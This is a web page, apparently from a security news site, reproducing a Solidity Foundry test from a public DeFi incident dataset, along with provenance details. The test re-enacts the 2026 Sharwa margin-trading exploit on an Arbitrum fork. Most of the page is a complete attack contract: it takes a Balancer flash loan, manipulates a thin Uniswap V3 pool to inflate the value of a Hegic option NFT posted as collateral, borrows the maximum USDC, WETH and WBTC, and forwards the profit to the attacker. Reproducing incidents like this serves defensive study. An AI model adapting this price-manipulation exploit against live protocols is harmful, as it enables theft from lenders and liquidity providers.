Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/SharwaMarginTrading_exp.sol

Public reproduction file for dataset entry SharwaMarginTrading.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/SharwaMarginTrading_exp.sol270 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 32.85K USDC
8// Attacker : 0x4551835e7c40d2a3d407c89d6a91eff98285c681
9// Attack Contract : 0x7e3c13314ceefc7578242d5eae9ed4dcbeb8d377
10// Vulnerable Contract : 0x729cf665c09ef112c607290415a566fffa45826f
11// Attack Tx : https://arbiscan.io/tx/0x05cfcfe9bdf8d19aaea3ba417e6559aee37c82120974e75335d06e56030f4dad
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0x729cf665c09ef112c607290415a566fffa45826f#code
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/2975
18//
19// Sharwa valued Hegic option NFT collateral through a Uniswap V3 spot Quoter path. The attacker transferred the
20// option NFT into a receiver contract, used the ERC721 callback to manipulate the USDC/USDC.e spot price, deposited
21// the option as collateral, borrowed USDC/WETH/WBTC, swapped the proceeds back to USDC, repaid Balancer, and kept
22// the remaining USDC.
24address constant ATTACKER = 0x4551835e7C40d2A3D407C89D6a91eFF98285C681;
25address constant HEGIC_POSITIONS_MANAGER = 0x5Fe380D68fEe022d8acd42dc4D36FbfB249a76d5;
26address constant MARGIN_ACCOUNT_MANAGER = 0x7FBcAAd6DE35F10121707509050035ff9Ec8dAfd;
27address constant SHARWA_ROUTER = 0x5b2f774050d590d54165872E4297cF9D2D90eD54;
28address constant MARGIN_ACCOUNT = 0x069cdfF47380bFcFa40D84f70834779DAaE96726;
29address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
30address constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
31address constant USDC_TOKEN = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
32address constant USDC_E_TOKEN = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
33address constant WETH_TOKEN = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
34address constant WBTC_TOKEN = 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;
36uint256 constant HEGIC_OPTION_ID = 16_129;
37uint24 constant UNISWAP_FEE = 500;
39interface IMarginAccountManager {
40 function createMarginAccount() external returns (uint256);
43interface ISharwaMarginRouter {
44 function provideERC721(
45 uint256 marginAccountID,
46 address token,
47 uint256 collateralTokenID
48 ) external;
49 function borrow(
50 uint256 marginAccountID,
51 address token,
52 uint256 amount
53 ) external;
54 function withdrawERC20(
55 uint256 marginAccountID,
56 address token,
57 uint256 amount
58 ) external;
61interface ISharwaMarginAccount {
62 function tokenToLiquidityPool(
63 address token
64 ) external view returns (address);
67interface IERC721Receiver {
68 function onERC721Received(
69 address operator,
70 address from,
71 uint256 tokenId,
72 bytes calldata data
73 ) external returns (bytes4);
76contract ContractTest is BaseTestWithBalanceLog {
77 SharwaMarginTradingExploit private exploit;
79 function setUp() public {
80 uint256 forkBlock = 458_233_155;
81 vm.createSelectFork("arbitrum", forkBlock);
83 fundingToken = USDC_TOKEN;
84 attacker = ATTACKER;
85 exploit = new SharwaMarginTradingExploit(ATTACKER);
87 vm.label(ATTACKER, "Attacker / Profit Receiver");
88 vm.label(address(exploit), "Local Attack Receiver");
89 vm.label(HEGIC_POSITIONS_MANAGER, "Hegic PositionsManager");
90 vm.label(MARGIN_ACCOUNT_MANAGER, "Sharwa MarginAccountManager");
91 vm.label(SHARWA_ROUTER, "Sharwa MarginTradingRouter");
92 vm.label(BALANCER_VAULT, "Balancer Vault");
93 vm.label(UNISWAP_V3_ROUTER, "Uniswap V3 Router");
94 vm.label(USDC_TOKEN, "USDC");
95 vm.label(USDC_E_TOKEN, "USDC.e");
96 vm.label(WETH_TOKEN, "WETH");
97 vm.label(WBTC_TOKEN, "WBTC");
98 }
100 function testExploit() public balanceLog {
101 uint256 attackerUsdcBefore = IERC20(USDC_TOKEN).balanceOf(ATTACKER);
103 vm.prank(ATTACKER);
104 IERC721(HEGIC_POSITIONS_MANAGER).safeTransferFrom(ATTACKER, address(exploit), HEGIC_OPTION_ID);
106 uint256 profit = IERC20(USDC_TOKEN).balanceOf(ATTACKER) - attackerUsdcBefore;
107 assertGt(profit, 32_000_000_000, "USDC profit");
108 }
111contract SharwaMarginTradingExploit is IERC721Receiver {
112 address private immutable profitReceiver;
113 uint256 private activeMarginAccountId;
115 constructor(
116 address _profitReceiver
117 ) {
118 profitReceiver = _profitReceiver;
119 }
121 function onERC721Received(
122 address,
123 address,
124 uint256 tokenId,
125 bytes calldata
126 ) external override returns (bytes4) {
127 if (msg.sender == HEGIC_POSITIONS_MANAGER && tokenId == HEGIC_OPTION_ID) {
128 startFlashLoan();
129 }
130 return IERC721Receiver.onERC721Received.selector;
131 }
133 function receiveFlashLoan(
134 address[] memory,
135 uint256[] memory amounts,
136 uint256[] memory feeAmounts,
137 bytes memory
138 ) external {
139 require(msg.sender == BALANCER_VAULT, "not balancer");
141 // step 1: push USDC into the thin USDC/USDC.e pool before Sharwa values the Hegic option.
142 approveMax(USDC_TOKEN, UNISWAP_V3_ROUTER);
143 swapExactInput(USDC_TOKEN, USDC_E_TOKEN, amounts[0]);
145 // step 2: create a Sharwa margin account and deposit the callback-received Hegic option NFT.
146 activeMarginAccountId = IMarginAccountManager(MARGIN_ACCOUNT_MANAGER).createMarginAccount();
147 IERC721(HEGIC_POSITIONS_MANAGER).approve(SHARWA_ROUTER, HEGIC_OPTION_ID);
148 ISharwaMarginRouter(SHARWA_ROUTER)
149 .provideERC721(activeMarginAccountId, HEGIC_POSITIONS_MANAGER, HEGIC_OPTION_ID);
151 // step 3: borrow the USDC amount Sharwa permits, then spend it into the same spot pool.
152 borrowAndWithdrawMax(USDC_TOKEN);
153 swapExactInput(USDC_TOKEN, USDC_E_TOKEN, IERC20(USDC_TOKEN).balanceOf(address(this)));
155 // step 4: borrow the other supported assets against the inflated option value.
156 borrowAndWithdrawMax(WETH_TOKEN);
157 borrowAndWithdrawMax(WBTC_TOKEN);
159 // step 5: unwind borrowed assets and remaining USDC.e back to USDC.
160 approveMax(WETH_TOKEN, UNISWAP_V3_ROUTER);
161 approveMax(WBTC_TOKEN, UNISWAP_V3_ROUTER);
162 approveMax(USDC_E_TOKEN, UNISWAP_V3_ROUTER);
163 swapExactInput(WETH_TOKEN, USDC_TOKEN, IERC20(WETH_TOKEN).balanceOf(address(this)));
164 swapExactInput(WBTC_TOKEN, USDC_TOKEN, IERC20(WBTC_TOKEN).balanceOf(address(this)));
165 swapExactInput(USDC_E_TOKEN, USDC_TOKEN, IERC20(USDC_E_TOKEN).balanceOf(address(this)));
167 // step 6: repay Balancer and forward the remaining USDC to the historical profit receiver.
168 IERC20(USDC_TOKEN).transfer(BALANCER_VAULT, amounts[0] + feeAmounts[0]);
169 IERC20(USDC_TOKEN).transfer(profitReceiver, IERC20(USDC_TOKEN).balanceOf(address(this)));
170 }
172 function probeBorrowAndWithdraw(
173 address token,
174 uint256 amount
175 ) external {
176 require(msg.sender == address(this), "not self");
177 borrowAndWithdraw(token, amount);
178 revert BorrowProbeSucceeded();
179 }
181 function startFlashLoan() private {
182 address[] memory tokens = new address[](1);
183 tokens[0] = USDC_TOKEN;
185 uint256[] memory amounts = new uint256[](1);
186 amounts[0] = 22_000_000_000;
188 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
189 }
191 function borrowAndWithdrawMax(
192 address token
193 ) private returns (uint256 amount) {
194 address liquidityPool = ISharwaMarginAccount(MARGIN_ACCOUNT).tokenToLiquidityPool(token);
195 uint256 high = IERC20(token).balanceOf(liquidityPool) + 1;
196 uint256 low = 0;
198 while (low + 1 < high) {
199 uint256 mid = (low + high) / 2;
200 if (canBorrowAndWithdraw(token, mid)) {
201 low = mid;
202 } else {
203 high = mid;
204 }
205 }
207 borrowAndWithdraw(token, low);
208 return low;
209 }
211 function canBorrowAndWithdraw(
212 address token,
213 uint256 amount
214 ) private returns (bool) {
215 if (amount == 0) return true;
217 try this.probeBorrowAndWithdraw(token, amount) {
218 return false;
219 } catch (bytes memory reason) {
220 return errorSelector(reason) == BorrowProbeSucceeded.selector;
221 }
222 }
224 function borrowAndWithdraw(
225 address token,
226 uint256 amount
227 ) private {
228 ISharwaMarginRouter(SHARWA_ROUTER).borrow(activeMarginAccountId, token, amount);
229 ISharwaMarginRouter(SHARWA_ROUTER).withdrawERC20(activeMarginAccountId, token, amount);
230 }
232 function swapExactInput(
233 address tokenIn,
234 address tokenOut,
235 uint256 amountIn
236 ) private returns (uint256 amountOut) {
237 if (amountIn == 0) return 0;
238 amountOut = Uni_Router_V3(UNISWAP_V3_ROUTER)
239 .exactInputSingle(
240 Uni_Router_V3.ExactInputSingleParams({
241 tokenIn: tokenIn,
242 tokenOut: tokenOut,
243 fee: UNISWAP_FEE,
244 recipient: address(this),
245 deadline: block.timestamp + 300,
246 amountIn: amountIn,
247 amountOutMinimum: 0,
248 sqrtPriceLimitX96: 0
249 })
250 );
251 }
253 function approveMax(
254 address token,
255 address spender
256 ) private {
257 IERC20(token).approve(spender, type(uint256).max);
258 }
260 function errorSelector(
261 bytes memory reason
262 ) private pure returns (bytes4 selector) {
263 if (reason.length < 4) return bytes4(0);
264 assembly {
265 selector := mload(add(reason, 0x20))
266 }
267 }
270error BorrowProbeSucceeded();

Analysis

Dataset entry

Public Foundry test for “SharwaMarginTrading” (2026-05-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x4551835e7c40d2a3d407c89d6a91eff98285c681

  • Attack Contract

    0x7e3c13314ceefc7578242d5eae9ed4dcbeb8d377

  • Vulnerable Contract

    0x729cf665c09ef112c607290415a566fffa45826f

  • Attack Tx

    0x05cfcfe9bdf8d19aaea3ba417e6559aee37c82120974e75335d06e56030f4dad

File record

Name
SharwaMarginTrading
Path
src/test/2026-05/SharwaMarginTrading_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ddfd30b52d6b1c495197e67c214b1d8c20c98097
Language
Solidity
Size
271 lines
Date
2026-05-01
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/SharwaMarginTrading_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ddfd30b52d6b1c495197e67c214b1d8c20c98097, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.